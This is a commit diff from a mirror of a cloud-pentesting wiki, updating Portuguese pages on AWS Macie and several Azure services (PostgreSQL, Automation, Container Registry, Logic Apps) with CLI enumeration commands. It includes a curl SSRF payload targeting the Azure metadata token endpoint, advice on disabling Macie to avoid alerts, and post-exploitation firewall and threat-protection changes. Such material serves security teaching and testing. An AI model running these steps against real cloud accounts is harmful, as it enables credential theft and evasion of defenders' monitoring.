mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-services/aws-macie-en
This commit is contained in:
Translator
@@ -1,12 +1,74 @@
|
||||
# Amazon Macie
|
||||
|
||||
## Introdução
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Amazon Macie é um serviço de segurança de dados que descobre dados sensíveis usando aprendizado de máquina e correspondência de padrões, fornece visibilidade sobre riscos de segurança de dados e permite proteção automatizada contra esses riscos.
|
||||
## Macie
|
||||
|
||||
Amazon Macie se destaca como um serviço projetado para **detectar, classificar e identificar dados** automaticamente dentro de uma conta AWS. Ele utiliza **aprendizado de máquina** para monitorar e analisar continuamente os dados, focando principalmente na detecção e alerta contra atividades incomuns ou suspeitas, examinando os dados de **eventos de trilha na nuvem** e padrões de comportamento do usuário.
|
||||
|
||||
Principais Recursos do Amazon Macie:
|
||||
|
||||
1. **Revisão Ativa de Dados**: Emprega aprendizado de máquina para revisar dados ativamente à medida que várias ações ocorrem dentro da conta AWS.
|
||||
2. **Detecção de Anomalias**: Identifica atividades irregulares ou padrões de acesso, gerando alertas para mitigar riscos potenciais de exposição de dados.
|
||||
3. **Monitoramento Contínuo**: Monitora e detecta automaticamente novos dados no Amazon S3, utilizando aprendizado de máquina e inteligência artificial para se adaptar aos padrões de acesso aos dados ao longo do tempo.
|
||||
4. **Classificação de Dados com NLP**: Utiliza processamento de linguagem natural (NLP) para classificar e interpretar diferentes tipos de dados, atribuindo pontuações de risco para priorizar descobertas.
|
||||
5. **Monitoramento de Segurança**: Identifica dados sensíveis à segurança, incluindo chaves de API, chaves secretas e informações pessoais, ajudando a prevenir vazamentos de dados.
|
||||
|
||||
Amazon Macie é um **serviço regional** e requer a função IAM 'AWSMacieServiceCustomerSetupRole' e um AWS CloudTrail habilitado para funcionalidade.
|
||||
|
||||
### Sistema de Alertas
|
||||
|
||||
Macie categoriza alertas em categorias predefinidas como:
|
||||
|
||||
- Acesso anonimizado
|
||||
- Conformidade de dados
|
||||
- Perda de credenciais
|
||||
- Escalação de privilégios
|
||||
- Ransomware
|
||||
- Acesso suspeito, etc.
|
||||
|
||||
Esses alertas fornecem descrições detalhadas e desagregações de resultados para uma resposta e resolução eficazes.
|
||||
|
||||
### Recursos do Painel
|
||||
|
||||
O painel categoriza dados em várias seções, incluindo:
|
||||
|
||||
- Objetos S3 (por intervalo de tempo, ACL, PII)
|
||||
- Eventos/usuários do CloudTrail de alto risco
|
||||
- Locais de Atividade
|
||||
- Tipos de identidade de usuário do CloudTrail, e mais.
|
||||
|
||||
### Classificação de Usuários
|
||||
|
||||
Os usuários são classificados em níveis com base no nível de risco de suas chamadas de API:
|
||||
|
||||
- **Platinum**: Chamadas de API de alto risco, frequentemente com privilégios de administrador.
|
||||
- **Gold**: Chamadas de API relacionadas à infraestrutura.
|
||||
- **Silver**: Chamadas de API de risco médio.
|
||||
- **Bronze**: Chamadas de API de baixo risco.
|
||||
|
||||
### Tipos de Identidade
|
||||
|
||||
Os tipos de identidade incluem Root, usuário IAM, Função Assumida, Usuário Federado, Conta AWS e Serviço AWS, indicando a origem das solicitações.
|
||||
|
||||
### Classificação de Dados
|
||||
|
||||
A classificação de dados abrange:
|
||||
|
||||
- Tipo de Conteúdo: Com base no tipo de conteúdo detectado.
|
||||
- Extensão de Arquivo: Com base na extensão do arquivo.
|
||||
- Tema: Classificado por palavras-chave dentro dos arquivos.
|
||||
- Regex: Classificado com base em padrões regex específicos.
|
||||
|
||||
O maior risco entre essas categorias determina o nível final de risco do arquivo.
|
||||
|
||||
### Pesquisa e Análise
|
||||
|
||||
A função de pesquisa do Amazon Macie permite consultas personalizadas em todos os dados do Macie para análise aprofundada. Os filtros incluem Dados do CloudTrail, propriedades do Bucket S3 e Objetos S3. Além disso, suporta convidar outras contas para compartilhar o Amazon Macie, facilitando a gestão colaborativa de dados e monitoramento de segurança.
|
||||
|
||||
## Listando Descobertas com o Console AWS
|
||||
|
||||
Após escanear um bucket S3 específico em busca de segredos e dados sensíveis, descobertas serão geradas e exibidas no console. Usuários autorizados com permissões suficientes podem visualizar e listar essas descobertas para cada trabalho.
|
||||
Após escanear um bucket S3 específico em busca de segredos e dados sensíveis, as descobertas serão geradas e exibidas no console. Usuários autorizados com permissões suficientes podem visualizar e listar essas descobertas para cada trabalho.
|
||||
|
||||
<img width="1438" alt="Screenshot 2025-02-10 at 19 08 08" src="https://github.com/user-attachments/assets/4420f13e-c071-4ae4-946b-6fe67449a9f6" />
|
||||
|
||||
@@ -19,30 +81,62 @@ Amazon Macie fornece um recurso que exibe segredos detectados em formato de text
|
||||
|
||||
<img width="1154" alt="Screenshot 2025-02-10 at 19 15 11" src="https://github.com/user-attachments/assets/df616e56-a11a-41da-ac69-0bea37d143a5" />
|
||||
|
||||
## Enumeração
|
||||
### Enumeração
|
||||
```bash
|
||||
# List and describe classification jobs
|
||||
aws macie2 list-classification-jobs --region eu-west-1
|
||||
aws macie2 describe-classification-job --job-id <Job_ID> --region eu-west-1
|
||||
# Get buckets
|
||||
aws macie2 describe-buckets
|
||||
|
||||
# Org config
|
||||
aws macie2 describe-organization-configuration
|
||||
|
||||
# Get admin account (if any)
|
||||
aws macie2 get-administrator-account
|
||||
aws macie2 list-organization-admin-accounts # Run from the management account of the org
|
||||
|
||||
# Get macie account members (run this from the admin account)
|
||||
aws macie2 list-members
|
||||
|
||||
# Check if automated sensitive data discovey is enabled
|
||||
aws macie2 get-automated-discovery-configuration
|
||||
|
||||
# Get findings
|
||||
aws macie2 list-findings
|
||||
aws macie2 get-findings --finding-ids <ids>
|
||||
aws macie2 list-findings-filters
|
||||
aws macie2 get -findings-filters --id <id>
|
||||
|
||||
# Get allow lists
|
||||
aws macie2 list-allow-lists
|
||||
aws macie2 get-allow-list --id <id>
|
||||
|
||||
# Get different info
|
||||
aws macie2 list-classification-jobs
|
||||
aws macie2 describe-classification-job --job-id <Job_ID>
|
||||
aws macie2 list-classification-scopes
|
||||
aws macie2 list-custom-data-identifiers
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID>
|
||||
|
||||
# Retrieve account details and statistics
|
||||
aws macie2 get-macie-session --region eu-west-1
|
||||
aws macie2 get-usage-statistics --region eu-west-1
|
||||
|
||||
# List and manage Macie members (for organizations)
|
||||
aws macie2 list-members --region eu-west-1
|
||||
|
||||
# List findings and get detailed information about specific findings
|
||||
aws macie2 list-findings --region eu-west-1
|
||||
aws macie2 get-findings --finding-id <Finding_ID> --region eu-west-1
|
||||
|
||||
# Manage custom data identifiers
|
||||
aws macie2 list-custom-data-identifiers --region eu-west-1
|
||||
aws macie2 get-custom-data-identifier --id <Identifier_ID> --region eu-west-1
|
||||
|
||||
# List and detail findings filters
|
||||
aws macie2 list-findings-filters --region eu-west-1
|
||||
aws macie2 get-findings-filter --id <Filter_ID> --region eu-west-1
|
||||
|
||||
aws macie2 get-macie-session
|
||||
aws macie2 get-usage-statistic
|
||||
```
|
||||
### Privesc
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-macie-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
|
||||
> [!TIP]
|
||||
> Do ponto de vista de um atacante, este serviço não é feito para detectar o atacante, mas para detectar informações sensíveis nos arquivos armazenados. Portanto, este serviço pode **ajudar um atacante a encontrar informações sensíveis** dentro dos buckets.\
|
||||
> No entanto, talvez um atacante também possa estar interessado em interrompê-lo para evitar que a vítima receba alertas e roube essas informações mais facilmente.
|
||||
|
||||
TODO: PRs são bem-vindos!
|
||||
|
||||
## References
|
||||
|
||||
- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/)
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,32 +1,33 @@
|
||||
# Az - PostgreSQL Pós-Exploração
|
||||
# Az - PostgreSQL Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Pós-Exploração do Banco de Dados PostgreSQL
|
||||
## Pós Exploração do Banco de Dados PostgreSQL
|
||||
Para mais informações sobre o Banco de Dados PostgreSQL, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-postgresql.md
|
||||
{{#endref}}
|
||||
|
||||
### Use a extensão pg_azure_storage para acessar contas de Armazenamento
|
||||
|
||||
É possível usar a extensão **`pg_azure_storage` para acessar contas de Armazenamento do Azure** a partir de um servidor PostgreSQL. Isso usará as permissões da identidade gerenciada atribuída ao servidor para acessar a conta de armazenamento.
|
||||
|
||||
Para mais informações, consulte esta técnica explicada na seção de escalonamento de privilégios:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read`
|
||||
|
||||
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora esta ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
|
||||
Com esta permissão, você pode criar novos bancos de dados dentro de uma instância do Postgres Flexible Server no Azure. Embora essa ação em si não modifique recursos existentes, a criação excessiva ou não autorizada de bancos de dados pode levar ao consumo de recursos ou ao potencial uso indevido do servidor.
|
||||
```bash
|
||||
az postgres flexible-server db create \
|
||||
--server-name <server_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--database-name <database_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write`
|
||||
|
||||
Com esta permissão, você pode iniciar a criação de backups para uma instância do Postgres Flexible Server no Azure. Isso permite que os usuários gerem backups sob demanda, o que pode ser útil para preservar dados em pontos específicos no tempo.
|
||||
```bash
|
||||
az postgres flexible-server backup create \
|
||||
--name <server_name> \
|
||||
--resource-group <resource_group_name>
|
||||
--backup-name <backup_name>
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read`
|
||||
|
||||
Com esta permissão, você pode configurar ou atualizar as configurações de Proteção Avançada contra Ameaças (ATP) para uma instância do Postgres Flexible Server no Azure. Isso permite habilitar ou desabilitar recursos de segurança projetados para detectar e responder a atividades anômalas e potenciais ameaças.
|
||||
@@ -38,7 +39,7 @@ az postgres flexible-server threat-protection-policy update \
|
||||
```
|
||||
### `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/write`, `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/firewallRules/read`
|
||||
|
||||
Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou faixas podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
|
||||
Com esta permissão, você pode criar ou modificar regras de firewall para uma instância do Postgres Flexible Server no Azure. Isso permite o controle sobre quais endereços IP ou intervalos podem acessar o servidor. O uso não autorizado ou inadequado dessa permissão pode expor o servidor a acessos indesejados ou maliciosos.
|
||||
```bash
|
||||
# Create Rule
|
||||
az postgres flexible-server firewall-rule create \
|
||||
|
||||
@@ -8,7 +8,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft
|
||||
|
||||
### Configurações
|
||||
|
||||
- **Credenciais**: A senha é acessível apenas dentro de um runbook na conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
|
||||
- **Credenciais**: A senha é acessível apenas dentro de um runbook dentro da conta de automação, sendo usada para **armazenar nomes de usuário e senhas de forma segura**.
|
||||
- **Variáveis**: Usadas para armazenar **dados de configuração** que podem ser utilizados em runbooks. Isso também pode incluir informações sensíveis, como chaves de API. Se a variável estiver **armazenada criptografada**, ela estará disponível apenas dentro de um runbook na conta de automação.
|
||||
- **Certificados**: Usados para armazenar **certificados** que podem ser utilizados em runbooks.
|
||||
- **Conexões**: Usadas para armazenar **informações de conexão** com serviços externos. Isso pode conter **informações sensíveis**.
|
||||
@@ -16,7 +16,7 @@ As Contas de Automação do Azure são serviços baseados em nuvem na Microsoft
|
||||
|
||||
### Runbooks & Trabalhos
|
||||
|
||||
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente em nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas como gerenciamento de VM, aplicação de patches ou verificações de conformidade.
|
||||
Um Runbook na Automação do Azure é um **script que executa tarefas automaticamente** dentro do seu ambiente de nuvem. Os runbooks podem ser escritos em PowerShell, Python ou editores gráficos. Eles ajudam a automatizar tarefas administrativas como gerenciamento de VM, aplicação de patches ou verificações de conformidade.
|
||||
|
||||
No **código** localizado dentro dos **Runbooks** pode conter **informações sensíveis** (como credenciais).
|
||||
|
||||
@@ -32,15 +32,15 @@ Um trabalho contém a **saída** da execução do **Runbook**. Se você puder **
|
||||
|
||||
Existem 3 maneiras principais de executar um Runbook:
|
||||
|
||||
- **Agendas**: Usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**.
|
||||
- **Webhooks**: São **endpoints HTTP** que podem ser usados para **disparar** Runbooks a partir de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação.
|
||||
- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e do CLI.
|
||||
- **Agendas**: Estas são usadas para **disparar** Runbooks em um **horário específico** ou **intervalo**.
|
||||
- **Webhooks**: Estes são **endpoints HTTP** que podem ser usados para **disparar** Runbooks a partir de **serviços externos**. Observe que a URL do webhook **não é visível** após a criação.
|
||||
- **Disparo Manual**: Você pode **disparar manualmente** um Runbook a partir do Portal do Azure e do cli.
|
||||
|
||||
### Controle de Versão
|
||||
|
||||
Permite importar Runbooks do **Github, Azure Devops (Git) e Azure Devops (TFVC)**. É possível indicar que os Runbooks do repositório sejam publicados na conta de Automação do Azure e também é possível indicar para **sincronizar as alterações do repositório** com a conta de Automação do Azure.
|
||||
|
||||
Quando a sincronização está habilitada, um **webhook é criado no repositório do Github** para disparar a sincronização sempre que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
Quando a sincronização está habilitada, no **repositório do Github um webhook é criado** para disparar a sincronização toda vez que um evento de push ocorre. Exemplo de uma URL de webhook: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d`
|
||||
|
||||
Observe que esses webhooks **não serão visíveis** ao listar webhooks nos runbooks associados ao repositório do Github. Também observe que **não é possível alterar a URL do repositório** de um controle de versão uma vez que ele é criado.
|
||||
|
||||
@@ -61,7 +61,7 @@ No entanto, também é possível **criar seus próprios ambientes**, usando um d
|
||||
|
||||
### Grupos de Trabalhadores Híbridos
|
||||
|
||||
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
|
||||
Na Automação do Azure, o ambiente de execução padrão para runbooks é o **Azure Sandbox**, uma plataforma baseada em nuvem gerenciada pelo Azure, adequada para tarefas envolvendo recursos do Azure. No entanto, esse sandbox tem limitações, como acesso restrito a recursos locais e restrições de tempo de execução e uso de recursos. Para superar essas limitações, são empregados Grupos de Trabalhadores Híbridos. Um Grupo de Trabalhadores Híbridos consiste em **um ou mais Trabalhadores de Runbook Híbridos instalados em suas próprias máquinas**, seja em locais, em outros ambientes de nuvem ou VMs do Azure. Essa configuração permite que os runbooks sejam executados diretamente nessas máquinas, proporcionando acesso direto a recursos locais, a capacidade de executar tarefas mais longas e intensivas em recursos, e a flexibilidade de interagir com ambientes além do alcance imediato do Azure.
|
||||
|
||||
Quando um grupo de trabalhadores híbridos é criado, é necessário indicar as **credenciais** a serem usadas. Existem 2 opções:
|
||||
|
||||
@@ -78,7 +78,7 @@ Além disso, se o trabalhador híbrido estiver sendo executado no Azure com outr
|
||||
### Configuração de Estado (SC)
|
||||
|
||||
> [!WARNING]
|
||||
> Conforme indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
> Como indicado na [documentação](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), a Configuração de Estado do Azure Automation será descontinuada em 30 de setembro de 2027 e substituída pela [Configuração de Máquina do Azure](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview).
|
||||
|
||||
As Contas de Automação também suportam **Configuração de Estado (SC)**, que é um recurso que ajuda a **configurar** e **manter** o **estado** de suas VMs. É possível **criar** e **aplicar** configurações DSC em máquinas **Windows** e **Linux**.
|
||||
|
||||
@@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -R
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistência
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-automation-accounts-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Container Registry (ACR) é um registro privado e seguro que permite **armazenar, gerenciar e acessar imagens de contêiner na nuvem Azure**. Ele se integra perfeitamente com vários serviços Azure, fornecendo fluxos de trabalho automatizados de construção e implantação em grande escala. Com recursos como geo-replicação e verificação de vulnerabilidades, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicativos conteinerizados.
|
||||
Azure Container Registry (ACR) é um registro privado e seguro que permite **armazenar, gerenciar e acessar imagens de contêiner na nuvem Azure**. Ele se integra perfeitamente com vários serviços Azure, fornecendo fluxos de trabalho automatizados de construção e implantação em grande escala. Com recursos como geo-replicação e verificação de vulnerabilidades, o ACR ajuda a garantir segurança e conformidade de nível empresarial para aplicações conteinerizadas.
|
||||
|
||||
### Permissões
|
||||
|
||||
@@ -27,11 +27,11 @@ Existem também alguns **papéis integrados** que podem ser atribuídos, e tamb
|
||||
> [!WARNING]
|
||||
> É muito importante que, mesmo que o nome do registro contenha algumas letras maiúsculas, você sempre deve usar **letras minúsculas** para fazer login, enviar e puxar imagens.
|
||||
|
||||
Existem 4 maneiras de autenticar-se em um ACR:
|
||||
Existem 4 maneiras de se autenticar em um ACR:
|
||||
|
||||
- **Com Entra ID**: Esta é a **maneira padrão** de autenticar-se em um ACR. Ele usa o comando **`az acr login`** para autenticar-se no ACR. Este comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um socket docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar-se no ACR. Então, para autenticar, você precisa usar como nome de usuário `00000000-0000-0000-0000-000000000000`, como: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Com Entra ID**: Esta é a **forma padrão** de autenticar-se em um ACR. Ele usa o comando **`az acr login`** para autenticar-se no ACR. Este comando irá **armazenar as credenciais** no arquivo **`~/.docker/config.json`**. Além disso, se você estiver executando este comando de um ambiente sem acesso a um socket docker, como em um **cloud shell**, é possível usar a flag **`--expose-token`** para obter o **token** para autenticar-se no ACR. Então, para autenticar, você precisa usar como nome de usuário `00000000-0000-0000-0000-000000000000`, como: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
|
||||
- **Com uma conta de administrador**: O usuário administrador está desativado por padrão, mas pode ser ativado e então será possível acessar o registro com o **nome de usuário** e **senha** da conta de administrador com permissões totais para o registro. Isso ainda é suportado porque alguns serviços Azure o utilizam. Note que **2 senhas** são criadas para este usuário e ambas são válidas. Você pode ativá-lo com `az acr update -n <acrName> --admin-enabled true`. Note que o nome de usuário geralmente é o nome do registro (e não `admin`).
|
||||
- **Com um token**: É possível criar um **token** com um **`scope map`** específico (permissões) para acessar o registro. Então, é possível usar este nome de token como nome de usuário e algumas das senhas geradas para autenticar-se no registro com `docker login -u <registry-name> -p <password> aregistry-url>`
|
||||
- **Com um token**: É possível criar um **token** com um **`scope map`** específico (permissões) para acessar o registro. Então, é possível usar o nome do token como nome de usuário e qualquer uma das senhas geradas para autenticar-se no registro com `docker login -u <registry-name> -p <password> <registry-url>`
|
||||
- **Com um Service Principal**: É possível criar um **service principal** e atribuir um papel como **`AcrPull`** para puxar imagens. Então, será possível **fazer login no registro** usando o appId do SP como nome de usuário e um segredo gerado como senha.
|
||||
|
||||
Exemplo de script da [documentação](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) para gerar um SP com acesso a um registro:
|
||||
@@ -51,11 +51,11 @@ echo "Service principal password: $PASSWORD"
|
||||
```
|
||||
### Criptografia
|
||||
|
||||
Apenas o **Premium SKU** suporta **criptografia em repouso** para as imagens e outros artefatos.
|
||||
Apenas o **SKU Premium** suporta **criptografia em repouso** para as imagens e outros artefatos.
|
||||
|
||||
### Rede
|
||||
|
||||
Apenas o **Premium SKU** suporta **pontos de extremidade privados**. Os outros suportam apenas **acesso público**. Um ponto de extremidade público tem o formato `<registry-name>.azurecr.io` e um ponto de extremidade privado tem o formato `<registry-name>.privatelink.azurecr.io`. Por essa razão, o nome do registro deve ser único em toda a Azure.
|
||||
Apenas o **SKU Premium** suporta **pontos de extremidade privados**. Os outros suportam apenas **acesso público**. Um ponto de extremidade público tem o formato `<registry-name>.azurecr.io` e um ponto de extremidade privado tem o formato `<registry-name>.privatelink.azurecr.io`. Por essa razão, o nome do registro deve ser único em toda a Azure.
|
||||
|
||||
### Microsoft Defender for Cloud
|
||||
|
||||
@@ -143,10 +143,16 @@ az acr cache list --registry <registry-name>
|
||||
# Get cache details
|
||||
az acr cache show --name <cache-name> --registry <registry-name>
|
||||
```
|
||||
## Escalação de Privilégios & Pós-Exploração
|
||||
## Acesso Não Autenticado
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-automation-accounts-privesc.md
|
||||
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
|
||||
{{#endref}}
|
||||
|
||||
## Escalação de Privilégios & Pós Exploração
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-container-registry-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
|
||||
@@ -4,99 +4,175 @@
|
||||
|
||||
## Informações Básicas
|
||||
|
||||
Azure Logic Apps é um serviço baseado em nuvem fornecido pela Microsoft Azure que permite aos desenvolvedores **criar e executar fluxos de trabalho que integram vários serviços**, fontes de dados e aplicações. Esses fluxos de trabalho são projetados para **automatizar processos de negócios**, orquestrar tarefas e realizar integrações de dados entre diferentes plataformas.
|
||||
Azure Logic Apps permite que os desenvolvedores **criem e executem fluxos de trabalho que integram vários serviços**, fontes de dados e aplicações. Esses fluxos de trabalho são projetados para **automatizar processos de negócios**, orquestrar tarefas e realizar integrações de dados em diferentes plataformas.
|
||||
|
||||
Logic Apps fornece um designer visual para criar fluxos de trabalho com uma **ampla gama de conectores pré-construídos**, o que facilita a conexão e interação com vários serviços, como Office 365, Dynamics CRM, Salesforce e muitos outros. Você também pode criar conectores personalizados para suas necessidades específicas.
|
||||
Logic Apps fornece um **designer visual** para criar fluxos de trabalho com uma **ampla gama de conectores pré-construídos**, o que facilita a conexão e interação com vários serviços:
|
||||
|
||||
Ao criar um Logic App, você deve criar ou vincular uma conta de armazenamento externa que armazena o estado do fluxo de trabalho, o histórico de execução e os artefatos. Esse armazenamento pode ser configurado com configurações de diagnóstico para monitoramento e pode ser protegido com restrições de acesso à rede ou integrado a uma rede virtual para controlar o tráfego de entrada e saída.
|
||||
<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
|
||||
|
||||
### Exemplos
|
||||
|
||||
- **Automatizando Pipelines de Dados**: Logic Apps pode automatizar **processos de transferência e transformação de dados** em combinação com o Azure Data Factory. Isso é útil para criar pipelines de dados escaláveis e confiáveis que movem e transformam dados entre várias fontes de dados, como Azure SQL Database e Azure Blob Storage, auxiliando em operações de análise e inteligência de negócios.
|
||||
- **Integrando com Azure Functions**: Logic Apps pode trabalhar ao lado do Azure Functions para desenvolver **aplicações sofisticadas e orientadas a eventos que escalam conforme necessário** e se integram perfeitamente com outros serviços do Azure. Um exemplo de caso de uso é usar um Logic App para acionar uma Azure Function em resposta a certos eventos, como mudanças em uma conta de armazenamento do Azure, permitindo o processamento dinâmico de dados.
|
||||
|
||||
### Visualizar um LogicAPP
|
||||
|
||||
É possível visualizar um LogicApp com gráficos:
|
||||
|
||||
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ou verificar o código na seção "**Visualização do código do Logic app**".
|
||||
|
||||
### Proteção SSRF
|
||||
|
||||
Mesmo que você encontre o **Logic App vulnerável a SSRF**, você não conseguirá acessar as credenciais da metadata, pois Logic Apps não permite isso.
|
||||
|
||||
Por exemplo, algo como isso não retornará o token:
|
||||
```bash
|
||||
# The URL belongs to a Logic App vulenrable to SSRF
|
||||
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
|
||||
```
|
||||
### Opções de hospedagem
|
||||
### Opções de Hospedagem
|
||||
|
||||
Existem várias opções de hospedagem:
|
||||
|
||||
* **Consumo**
|
||||
- **Multi-tenant**: fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços pay-per-operation. Isso é ideal para cargas de trabalho leves e econômicas. Isso implanta um "Single Workflow".
|
||||
- **Multi-tenant**: Isso fornece recursos de computação compartilhados, opera na nuvem pública e segue um modelo de preços por operação. Isso é ideal para cargas de trabalho leves e econômicas. Isso é o que chamaremos de "Fluxo de Trabalho Único".
|
||||
* **Padrão**
|
||||
- **Workflow Service Plan**: recursos de computação dedicados com integração VNET para rede e cobra por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
|
||||
- **App Service Environment V3** recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de App Service dentro do ambiente.
|
||||
- **Híbrido** projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). Baseia-se em um Container App Connected Environment.
|
||||
- **Plano de Serviço de Fluxo de Trabalho**: Isso fornece recursos de computação dedicados com integração VNET para rede e cobra por instância do plano de serviço de fluxo de trabalho. É adequado para cargas de trabalho mais exigentes que requerem maior controle.
|
||||
- **Ambiente de Serviço de Aplicativo V3:** Isso fornece recursos de computação dedicados com total isolamento e escalabilidade. Também se integra com VNET para rede e utiliza um modelo de preços baseado em instâncias de Serviço de Aplicativo dentro do ambiente.
|
||||
- **Híbrido:** Isso é projetado para processamento local e suporte multi-nuvem. Permite recursos de computação gerenciados pelo cliente com acesso à rede local e utiliza Kubernetes Event-Driven Autoscaling (KEDA). Baseia-se em um Ambiente Conectado de Aplicativo de Contêiner.
|
||||
|
||||
### Principais Recursos
|
||||
- **Armazenamento**: Logic Apps requer uma conta de Armazenamento Azure externa para armazenar o estado do fluxo de trabalho, histórico de execução… e deve estar no mesmo grupo de recursos que o Logic App.
|
||||
- **Rede & Segurança**: Logic Apps podem ser configurados com acesso público ou privado. Por padrão, o aplicativo está aberto para a internet, mas pode ser integrado a uma Rede Virtual Azure para conectividade isolada.
|
||||
- **Application Insights**: Gerenciamento de Desempenho de Aplicações (APM) através do Azure Monitor Application Insights pode ser habilitado para rastrear desempenho, detectar anomalias e fornecer análises.
|
||||
- **Controle de Acesso**: Logic apps suportam Identidades Gerenciadas pelo Sistema & Identidades Gerenciadas pelo Usuário.
|
||||
## Fluxos de Trabalho "Únicos" / Plano de Consumo
|
||||
|
||||
### Workflows "Únicos"
|
||||
